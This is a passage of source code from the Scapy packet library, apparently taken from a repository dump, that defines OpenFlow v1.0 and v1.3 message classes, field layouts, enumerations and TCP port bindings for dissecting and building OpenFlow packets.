0),\n                   ByteField(\"n_tables\", 1),\n                   X3BytesField(\"pad\", 0),\n                   FlagsField(\"capabilities\", 0, 32, [\"FLOW_STATS\",\n                                                      \"TABLE_STATS\",\n                                                      \"PORT_STATS\",\n                                                      \"STP\",\n                                                      \"RESERVED\",\n                                                      \"IP_REASM\",\n                                                      \"QUEUE_STATS\",\n                                                      \"ARP_MATCH_IP\"]),\n                   FlagsField(\"actions\", 0, 32, ofp_action_types_flags),\n                   PacketListField(\"ports\", [], OFPPhyPort,\n                                   length_from=lambda pkt:pkt.len - 32)]\n\n\nclass OFPTGetConfigRequest(_ofp_header):\n    name = \"OFPT_GET_CONFIG_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 7, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTGetConfigReply(_ofp_header):\n    name = \"OFPT_GET_CONFIG_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 8, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"flags\", 0, {0: \"FRAG_NORMAL\",\n                                               1: \"FRAG_DROP\",\n                                               2: \"FRAG_REASM\",\n                                               3: \"FRAG_MASK\"}),\n                   ShortField(\"miss_send_len\", 0)]\n\n\nclass OFPTSetConfig(_ofp_header):\n    name = \"OFPT_SET_CONFIG\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 9, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"flags\", 0, {0: \"FRAG_NORMAL\",\n                                               1: \"FRAG_DROP\",\n                                               2: \"FRAG_REASM\",\n                                               3: \"FRAG_MASK\"}),\n                   ShortField(\"miss_send_len\", 128)]\n\n\nclass OFPTPacketIn(_ofp_header):\n    name = \"OFPT_PACKET_IN\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 10, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"buffer_id\", \"NO_BUFFER\", ofp_buffer),\n                   ShortField(\"total_len\", 0),\n                   ShortEnumField(\"in_port\", 0, ofp_port_no),\n                   ByteEnumField(\"reason\", 0, {0: \"OFPR_NO_MATCH\",\n                                               1: \"OFPR_ACTION\"}),\n                   XByteField(\"pad\", 0),\n                   PacketField(\"data\", None, Ether)]\n\n\nclass OFPTFlowRemoved(_ofp_header):\n    name = \"OFPT_FLOW_REMOVED\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 11, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   PacketField(\"match\", OFPMatch(), OFPMatch),\n                   LongField(\"cookie\", 0),\n                   ShortField(\"priority\", 0),\n                   ByteEnumField(\"reason\", 0, {0: \"OFPRR_IDLE_TIMEOUT\",\n                                               1: \"OFPRR_HARD_TIMEOUT\",\n                                               2: \"OFPRR_DELETE\"}),\n                   XByteField(\"pad1\", 0),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0),\n                   ShortField(\"idle_timeout\", 0),\n                   XShortField(\"pad2\", 0),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0)]\n\n\nclass OFPTPortStatus(_ofp_header):\n    name = \"OFPT_PORT_STATUS\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 12, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ByteEnumField(\"reason\", 0, {0: \"OFPPR_ADD\",\n                                               1: \"OFPPR_DELETE\",\n                                               2: \"OFPPR_MODIFY\"}),\n                   XBitField(\"pad\", 0, 56),\n                   PacketField(\"desc\", OFPPhyPort(), OFPPhyPort)]\n\n\nclass OFPTPacketOut(_ofp_header):\n    name = \"OFPT_PACKET_OUT\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 13, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"buffer_id\", \"NO_BUFFER\", ofp_buffer),\n                   ShortEnumField(\"in_port\", \"NONE\", ofp_port_no),\n                   FieldLenField(\"actions_len\", None, fmt=\"H\", length_of=\"actions\"),  # noqa: E501\n                   PacketListField(\"actions\", [], OFPAT,\n                                   ofp_action_cls,\n                                   length_from=lambda pkt:pkt.actions_len),  # noqa: E501\n                   PacketField(\"data\", None, Ether)]\n\n\nclass OFPTFlowMod(_ofp_header):\n    name = \"OFPT_FLOW_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 14, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   PacketField(\"match\", OFPMatch(), OFPMatch),\n                   LongField(\"cookie\", 0),\n                   ShortEnumField(\"cmd\", 0, {0: \"OFPFC_ADD\",\n                                             1: \"OFPFC_MODIFY\",\n                                             2: \"OFPFC_MODIFY_STRICT\",\n                                             3: \"OFPFC_DELETE\",\n                                             4: \"OFPFC_DELETE_STRICT\"}),\n                   ShortField(\"idle_timeout\", 0),\n                   ShortField(\"hard_timeout\", 0),\n                   ShortField(\"priority\", 0),\n                   IntEnumField(\"buffer_id\", \"NO_BUFFER\", ofp_buffer),\n                   ShortEnumField(\"out_port\", \"NONE\", ofp_port_no),\n                   FlagsField(\"flags\", 0, 16, [\"SEND_FLOW_REM\",\n                                               \"CHECK_OVERLAP\",\n                                               \"EMERG\"]),\n                   PacketListField(\"actions\", [], OFPAT,\n                                   ofp_action_cls,\n                                   length_from=lambda pkt:pkt.len - 72)]\n\n\nclass OFPTPortMod(_ofp_header):\n    name = \"OFPT_PORT_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 15, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"port_no\", 0, ofp_port_no),\n                   MACField(\"hw_addr\", \"0\"),\n                   FlagsField(\"config\", 0, 32, ofp_port_config),\n                   FlagsField(\"mask\", 0, 32, ofp_port_config),\n                   FlagsField(\"advertise\", 0, 32, ofp_port_features),\n                   IntField(\"pad\", 0)]\n\n\n#####################################################\n#                     OFPT_STATS                    #\n#####################################################\n\n\nofp_stats_types = {0: \"OFPST_DESC\",\n                   1: \"OFPST_FLOW\",\n                   2: \"OFPST_AGGREGATE\",\n                   3: \"OFPST_TABLE\",\n                   4: \"OFPST_PORT\",\n                   5: \"OFPST_QUEUE\",\n                   65535: \"OFPST_VENDOR\"}\n\n\nclass OFPTStatsRequestDesc(_ofp_header):\n    name = \"OFPST_STATS_REQUEST_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 0, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, [])]\n\n\nclass OFPTStatsReplyDesc(_ofp_header):\n    name = \"OFPST_STATS_REPLY_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 0, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   StrFixedLenField(\"mfr_desc\", \"\", 256),\n                   StrFixedLenField(\"hw_desc\", \"\", 256),\n                   StrFixedLenField(\"sw_desc\", \"\", 256),\n                   StrFixedLenField(\"serial_num\", \"\", 32),\n                   StrFixedLenField(\"dp_desc\", \"\", 256)]\n\n\nclass OFPTStatsRequestFlow(_ofp_header):\n    name = \"OFPST_STATS_REQUEST_FLOW\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 1, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   PacketField(\"match\", OFPMatch(), OFPMatch),\n                   ByteEnumField(\"table_id\", \"ALL\", ofp_table),\n                   ByteField(\"pad\", 0),\n                   ShortEnumField(\"out_port\", \"NONE\", ofp_port_no)]\n\n\nclass OFPFlowStats(Packet):\n    name = \"OFP_FLOW_STATS\"\n    fields_desc = [ShortField(\"length\", None),\n                   ByteField(\"table_id\", 0),\n                   XByteField(\"pad1\", 0),\n                   PacketField(\"match\", OFPMatch(), OFPMatch),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0),\n                   ShortField(\"priority\", 0),\n                   ShortField(\"idle_timeout\", 0),\n                   ShortField(\"hard_timeout\", 0),\n                   XBitField(\"pad2\", 0, 48),\n                   LongField(\"cookie\", 0),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0),\n                   PacketListField(\"actions\", [], OFPAT,\n                                   ofp_action_cls,\n                                   length_from=lambda pkt:pkt.length - 88)]\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            tmp_len = len(p) + len(pay)\n            p = struct.pack(\"!H\", tmp_len) + p[2:]\n        return p + pay\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPTStatsReplyFlow(_ofp_header):\n    name = \"OFPST_STATS_REPLY_FLOW\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 1, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   PacketListField(\"flow_stats\", [], OFPFlowStats,\n                                   length_from=lambda pkt:pkt.len - 12)]  # noqa: E501\n\n\nclass OFPTStatsRequestAggregate(OFPTStatsRequestFlow):\n    name = \"OFPST_STATS_REQUEST_AGGREGATE\"\n    stats_type = 2\n\n\nclass OFPTStatsReplyAggregate(_ofp_header):\n    name = \"OFPST_STATS_REPLY_AGGREGATE\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 2, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   LongField(\"packet_count\", 0),\n                   LongField(\"byte_count\", 0),\n                   IntField(\"flow_count\", 0),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPTStatsRequestTable(_ofp_header):\n    name = \"OFPST_STATS_REQUEST_TABLE\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 3, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, [])]\n\n\nclass OFPTableStats(Packet):\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n    name = \"OFP_TABLE_STATS\"\n    fields_desc = [ByteField(\"table_id\", 0),\n                   X3BytesField(\"pad\", 0),\n                   StrFixedLenField(\"name\", \"\", 32),\n                   FlagsField(\"wildcards1\", 0x003, 12, [\"DL_VLAN_PCP\",\n                                                        \"NW_TOS\"]),\n                   BitField(\"nw_dst_mask\", 63, 6),        # 32 would be enough\n                   BitField(\"nw_src_mask\", 63, 6),\n                   FlagsField(\"wildcards2\", 0xff, 8, [\"IN_PORT\",\n                                                      \"DL_VLAN\",\n                                                      \"DL_SRC\",\n                                                      \"DL_DST\",\n                                                      \"DL_TYPE\",\n                                                      \"NW_PROTO\",\n                                                      \"TP_SRC\",\n                                                      \"TP_DST\"]),\n                   IntField(\"max_entries\", 0),\n                   IntField(\"active_count\", 0),\n                   LongField(\"lookup_count\", 0),\n                   LongField(\"matched_count\", 0)]\n\n\nclass OFPTStatsReplyTable(_ofp_header):\n    name = \"OFPST_STATS_REPLY_TABLE\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 3, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   PacketListField(\"table_stats\", [], OFPTableStats,\n                                   length_from=lambda pkt:pkt.len - 12)]\n\n\nclass OFPTStatsRequestPort(_ofp_header):\n    name = \"OFPST_STATS_REQUEST_PORT\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 4, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   ShortEnumField(\"port_no\", \"NONE\", ofp_port_no),\n                   XBitField(\"pad\", 0, 48)]\n\n\nclass OFPPortStats(Packet):\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n    name = \"OFP_PORT_STATS\"\n    fields_desc = [ShortEnumField(\"port_no\", 0, ofp_port_no),\n                   XBitField(\"pad\", 0, 48),\n                   LongField(\"rx_packets\", 0),\n                   LongField(\"tx_packets\", 0),\n                   LongField(\"rx_bytes\", 0),\n                   LongField(\"tx_bytes\", 0),\n                   LongField(\"rx_dropped\", 0),\n                   LongField(\"tx_dropped\", 0),\n                   LongField(\"rx_errors\", 0),\n                   LongField(\"tx_errors\", 0),\n                   LongField(\"rx_frame_err\", 0),\n                   LongField(\"rx_over_err\", 0),\n                   LongField(\"rx_crc_err\", 0),\n                   LongField(\"collisions\", 0)]\n\n\nclass OFPTStatsReplyPort(_ofp_header):\n    name = \"OFPST_STATS_REPLY_TABLE\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 4, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   PacketListField(\"port_stats\", [], OFPPortStats,\n                                   length_from=lambda pkt:pkt.len - 12)]\n\n\nclass OFPTStatsRequestQueue(_ofp_header):\n    name = \"OFPST_STATS_REQUEST_QUEUE\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 5, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   ShortEnumField(\"port_no\", \"NONE\", ofp_port_no),\n                   XShortField(\"pad\", 0),\n                   IntEnumField(\"queue_id\", \"ALL\", ofp_queue)]\n\n\nclass OFPTStatsReplyQueue(_ofp_header):\n    name = \"OFPST_STATS_REPLY_QUEUE\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 5, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   ShortEnumField(\"port_no\", \"NONE\", ofp_port_no),\n                   XShortField(\"pad\", 0),\n                   IntEnumField(\"queue_id\", \"ALL\", ofp_queue),\n                   LongField(\"tx_bytes\", 0),\n                   LongField(\"tx_packets\", 0),\n                   LongField(\"tx_errors\", 0)]\n\n\nclass OFPTStatsRequestVendor(_ofp_header):\n    name = \"OFPST_STATS_REQUEST_VENDOR\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 16, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 6, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   IntField(\"vendor\", 0)]\n\n\nclass OFPTStatsReplyVendor(_ofp_header):\n    name = \"OFPST_STATS_REPLY_VENDOR\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 17, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"stats_type\", 6, ofp_stats_types),\n                   FlagsField(\"flags\", 0, 16, []),\n                   IntField(\"vendor\", 0)]\n\n\n# ofp_stats_request/reply_cls allows generic method OpenFlow() (end of script)\n# to choose the right class for dissection\nofp_stats_request_cls = {0: OFPTStatsRequestDesc,\n                         1: OFPTStatsRequestFlow,\n                         2: OFPTStatsRequestAggregate,\n                         3: OFPTStatsRequestTable,\n                         4: OFPTStatsRequestPort,\n                         5: OFPTStatsRequestQueue,\n                         65535: OFPTStatsRequestVendor}\n\nofp_stats_reply_cls = {0: OFPTStatsReplyDesc,\n                       1: OFPTStatsReplyFlow,\n                       2: OFPTStatsReplyAggregate,\n                       3: OFPTStatsReplyTable,\n                       4: OFPTStatsReplyPort,\n                       5: OFPTStatsReplyQueue,\n                       65535: OFPTStatsReplyVendor}\n\n#                end of OFPT_STATS                  #\n\n\nclass OFPTBarrierRequest(_ofp_header):\n    name = \"OFPT_BARRIER_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTBarrierReply(_ofp_header):\n    name = \"OFPT_BARRIER_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTQueueGetConfigRequest(_ofp_header):\n    name = \"OFPT_QUEUE_GET_CONFIG_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 20, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"port\", 0, ofp_port_no),\n                   XShortField(\"pad\", 0)]\n\n\nclass OFPTQueueGetConfigReply(_ofp_header):\n    name = \"OFPT_QUEUE_GET_CONFIG_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x01, ofp_version),\n                   ByteEnumField(\"type\", 21, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"port\", 0, ofp_port_no),\n                   XBitField(\"pad\", 0, 48),\n                   PacketListField(\"queues\", [], OFPPacketQueue,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\n# ofpt_cls allows generic method OpenFlow() to choose the right class for dissection  # noqa: E501\nofpt_cls = {0: OFPTHello,\n            # 1: OFPTError,\n            2: OFPTEchoRequest,\n            3: OFPTEchoReply,\n            4: OFPTVendor,\n            5: OFPTFeaturesRequest,\n            6: OFPTFeaturesReply,\n            7: OFPTGetConfigRequest,\n            8: OFPTGetConfigReply,\n            9: OFPTSetConfig,\n            10: OFPTPacketIn,\n            11: OFPTFlowRemoved,\n            12: OFPTPortStatus,\n            13: OFPTPacketOut,\n            14: OFPTFlowMod,\n            15: OFPTPortMod,\n            # 16: OFPTStatsRequest,\n            # 17: OFPTStatsReply,\n            18: OFPTBarrierRequest,\n            19: OFPTBarrierReply,\n            20: OFPTQueueGetConfigRequest,\n            21: OFPTQueueGetConfigReply}\n\n\nbind_bottom_up(TCP, OpenFlow, dport=6653)\nbind_bottom_up(TCP, OpenFlow, sport=6653)\nbind_bottom_up(TCP, OpenFlow, dport=6633)\nbind_bottom_up(TCP, OpenFlow, sport=6633)\n\nbind_top_down(TCP, _ofp_header, sport=6653, dport=6653)\n"
  },
  {
    "path": "scapy/contrib/openflow3.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 2014 Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nOpenFlow v1.3.4\n\nOpenFlow is an open standard used in SDN deployments.\nSpecifications can be retrieved from https://www.opennetworking.org/\n\"\"\"\n\n\n# scapy.contrib.description = OpenFlow v1.3\n# scapy.contrib.status = loads\n\nimport copy\nimport struct\n\n\nfrom scapy.compat import orb, raw\nfrom scapy.config import conf\nfrom scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \\\n    FieldLenField, FlagsField, IntEnumField, IntField, IPField, \\\n    LongField, MACField, PacketField, PacketListField, ShortEnumField, \\\n    ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, \\\n    XIntField, XShortField, PacketLenField\nfrom scapy.layers.l2 import Ether\nfrom scapy.packet import Packet, Padding, Raw\n\nfrom scapy.contrib.openflow import _ofp_header, _ofp_header_item, \\\n    OFPacketField, OpenFlow, _UnknownOpenFlow\n\n#####################################################\n#                 Predefined values                 #\n#####################################################\n\nofp_port_no = {0xfffffff8: \"IN_PORT\",\n               0xfffffff9: \"TABLE\",\n               0xfffffffa: \"NORMAL\",\n               0xfffffffb: \"FLOOD\",\n               0xfffffffc: \"ALL\",\n               0xfffffffd: \"CONTROLLER\",\n               0xfffffffe: \"LOCAL\",\n               0xffffffff: \"ANY\"}\n\nofp_group = {0xffffff00: \"MAX\",\n             0xfffffffc: \"ALL\",\n             0xffffffff: \"ANY\"}\n\nofp_table = {0xfe: \"MAX\",\n             0xff: \"ALL\"}\n\nofp_queue = {0xffffffff: \"ALL\"}\n\nofp_meter = {0xffff0000: \"MAX\",\n             0xfffffffd: \"SLOWPATH\",\n             0xfffffffe: \"CONTROLLER\",\n             0xffffffff: \"ALL\"}\n\nofp_buffer = {0xffffffff: \"NO_BUFFER\"}\n\nofp_max_len = {0xffff: \"NO_BUFFER\"}\n\n\n#####################################################\n#                 Common structures                 #\n#####################################################\n\n# The following structures will be used in different types\n# of OpenFlow messages: ports, matches/OXMs, actions,\n# instructions, buckets, queues, meter bands.\n\n\n#                  Hello elements                   #\n\n\nofp_hello_elem_types = {1: \"OFPHET_VERSIONBITMAP\"}\n\n\nclass OFPHET(_ofp_header):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_hello_elem_cls.get(t, Raw)\n        return Raw\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPHETVersionBitmap(_ofp_header):\n    name = \"OFPHET_VERSIONBITMAP\"\n    fields_desc = [ShortEnumField(\"type\", 1, ofp_hello_elem_types),\n                   ShortField(\"len\", 8),\n                   FlagsField(\"bitmap\", 0, 32, [\"Type 0\",\n                                                \"OFv1.0\",\n                                                \"OFv1.1\",\n                                                \"OFv1.2\",\n                                                \"OFv1.3\",\n                                                \"OFv1.4\",\n                                                \"OFv1.5\"])]\n\n\nofp_hello_elem_cls = {1: OFPHETVersionBitmap}\n\n\n#                       Ports                       #\n\nofp_port_config = [\"PORT_DOWN\",\n                   \"NO_STP\",        # undefined in v1.3\n                   \"NO_RECV\",\n                   \"NO_RECV_STP\",   # undefined in v1.3\n                   \"NO_FLOOD\",      # undefined in v1.3\n                   \"NO_FWD\",\n                   \"NO_PACKET_IN\"]\n\nofp_port_state = [\"LINK_DOWN\",\n                  \"BLOCKED\",\n                  \"LIVE\"]\n\nofp_port_features = [\"10MB_HD\",\n                     \"10MB_FD\",\n                     \"100MB_HD\",\n                     \"100MB_FD\",\n                     \"1GB_HD\",\n                     \"1GB_FD\",\n                     \"10GB_FD\",\n                     \"40GB_FD\",\n                     \"100GB_FD\",\n                     \"1TB_FD\",\n                     \"OTHER\",\n                     \"COPPER\",\n                     \"FIBER\",\n                     \"AUTONEG\",\n                     \"PAUSE\",\n                     \"PAUSE_ASYM\"]\n\n\nclass OFPPort(Packet):\n    name = \"OFP_PHY_PORT\"\n    fields_desc = [IntEnumField(\"port_no\", 0, ofp_port_no),\n                   XIntField(\"pad1\", 0),\n                   MACField(\"hw_addr\", \"0\"),\n                   XShortField(\"pad2\", 0),\n                   StrFixedLenField(\"port_name\", \"\", 16),\n                   FlagsField(\"config\", 0, 32, ofp_port_config),\n                   FlagsField(\"state\", 0, 32, ofp_port_state),\n                   FlagsField(\"curr\", 0, 32, ofp_port_features),\n                   FlagsField(\"advertised\", 0, 32, ofp_port_features),\n                   FlagsField(\"supported\", 0, 32, ofp_port_features),\n                   FlagsField(\"peer\", 0, 32, ofp_port_features),\n                   IntField(\"curr_speed\", 0),\n                   IntField(\"max_speed\", 0)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\n#                   Matches & OXMs                  #\n\nofp_oxm_classes = {0: \"OFPXMC_NXM_0\",\n                   1: \"OFPXMC_NXM_1\",\n                   0x8000: \"OFPXMC_OPENFLOW_BASIC\",\n                   0xffff: \"OFPXMC_EXPERIMENTER\"}\n\nofp_oxm_names = {0: \"OFB_IN_PORT\",\n                 1: \"OFB_IN_PHY_PORT\",\n                 2: \"OFB_METADATA\",\n                 3: \"OFB_ETH_DST\",\n                 4: \"OFB_ETH_SRC\",\n                 5: \"OFB_ETH_TYPE\",\n                 6: \"OFB_VLAN_VID\",\n                 7: \"OFB_VLAN_PCP\",\n                 8: \"OFB_IP_DSCP\",\n                 9: \"OFB_IP_ECN\",\n                 10: \"OFB_IP_PROTO\",\n                 11: \"OFB_IPV4_SRC\",\n                 12: \"OFB_IPV4_DST\",\n                 13: \"OFB_TCP_SRC\",\n                 14: \"OFB_TCP_DST\",\n                 15: \"OFB_UDP_SRC\",\n                 16: \"OFB_UDP_DST\",\n                 17: \"OFB_SCTP_SRC\",\n                 18: \"OFB_SCTP_DST\",\n                 19: \"OFB_ICMPV4_TYPE\",\n                 20: \"OFB_ICMPV4_CODE\",\n                 21: \"OFB_ARP_OP\",\n                 22: \"OFB_ARP_SPA\",\n                 23: \"OFB_ARP_TPA\",\n                 24: \"OFB_ARP_SHA\",\n                 25: \"OFB_ARP_THA\",\n                 26: \"OFB_IPV6_SRC\",\n                 27: \"OFB_IPV6_DST\",\n                 28: \"OFB_IPV6_FLABEL\",\n                 29: \"OFB_ICMPV6_TYPE\",\n                 30: \"OFB_ICMPV6_CODE\",\n                 31: \"OFB_IPV6_ND_TARGET\",\n                 32: \"OFB_IPV6_ND_SLL\",\n                 33: \"OFB_IPV6_ND_TLL\",\n                 34: \"OFB_MPLS_LABEL\",\n                 35: \"OFB_MPLS_TC\",\n                 36: \"OFB_MPLS_BOS\",\n                 37: \"OFB_PBB_ISID\",\n                 38: \"OFB_TUNNEL_ID\",\n                 39: \"OFB_IPV6_EXTHDR\"}\n\nofp_oxm_constr = {0: [\"OFBInPort\", \"in_port\", 4],\n                  1: [\"OFBInPhyPort\", \"in_phy_port\", 4],\n                  2: [\"OFBMetadata\", \"metadata\", 8],\n                  3: [\"OFBEthDst\", \"eth_dst\", 6],\n                  4: [\"OFBEthSrc\", \"eth_src\", 6],\n                  5: [\"OFBEthType\", \"eth_type\", 2],\n                  6: [\"OFBVLANVID\", \"vlan_vid\", 2],\n                  7: [\"OFBVLANPCP\", \"vlan_pcp\", 1],\n                  8: [\"OFBIPDSCP\", \"ip_dscp\", 1],\n                  9: [\"OFBIPECN\", \"ip_ecn\", 1],\n                  10: [\"OFBIPProto\", \"ip_proto\", 1],\n                  11: [\"OFBIPv4Src\", \"ipv4_src\", 4],\n                  12: [\"OFBIPv4Dst\", \"ipv4_dst\", 4],\n                  13: [\"OFBTCPSrc\", \"tcp_src\", 2],\n                  14: [\"OFBTCPDst\", \"tcp_dst\", 2],\n                  15: [\"OFBUDPSrc\", \"udp_src\", 2],\n                  16: [\"OFBUDPDst\", \"udp_dst\", 2],\n                  17: [\"OFBSCTPSrc\", \"sctp_src\", 2],\n                  18: [\"OFBSCTPDst\", \"sctp_dst\", 2],\n                  19: [\"OFBICMPv4Type\", \"icmpv4_type\", 1],\n                  20: [\"OFBICMPv4Code\", \"icmpv4_code\", 1],\n                  21: [\"OFBARPOP\", \"arp_op\", 2],\n                  22: [\"OFBARPSPA\", \"arp_spa\", 4],\n                  23: [\"OFBARPTPA\", \"arp_tpa\", 4],\n                  24: [\"OFBARPSHA\", \"arp_sha\", 6],\n                  25: [\"OFBARPTHA\", \"arp_tha\", 6],\n                  26: [\"OFBIPv6Src\", \"ipv6_src\", 16],\n                  27: [\"OFBIPv6Dst\", \"ipv6_dst\", 16],\n                  28: [\"OFBIPv6FLabel\", \"ipv6_flabel\", 4],\n                  29: [\"OFBICMPv6Type\", \"icmpv6_type\", 1],\n                  30: [\"OFBICMPv6Code\", \"icmpv6_code\", 1],\n                  31: [\"OFBIPv6NDTarget\", \"ipv6_nd_target\", 16],\n                  32: [\"OFBIPv6NDSLL\", \"ipv6_sll\", 6],\n                  33: [\"OFBIPv6NDTLL\", \"ipv6_tll\", 6],\n                  34: [\"OFBMPLSLabel\", \"mpls_label\", 4],\n                  35: [\"OFBMPLSTC\", \"mpls_tc\", 1],\n                  36: [\"OFBMPLSBoS\", \"mpls_bos\", 1],\n                  37: [\"OFBPBBISID\", \"pbb_isid\", 3],\n                  38: [\"OFBTunnelID\", \"tunnel_id\", 8],\n                  39: [\"OFBIPv6ExtHdr\", \"ipv6_ext_hdr_flags\", 2]}\n\n# the ipv6flags array is useful only to the OFBIPv6ExtHdr class\nipv6flags = [\"NONEXT\",\n             \"ESP\",\n             \"AUTH\",\n             \"DEST\",\n             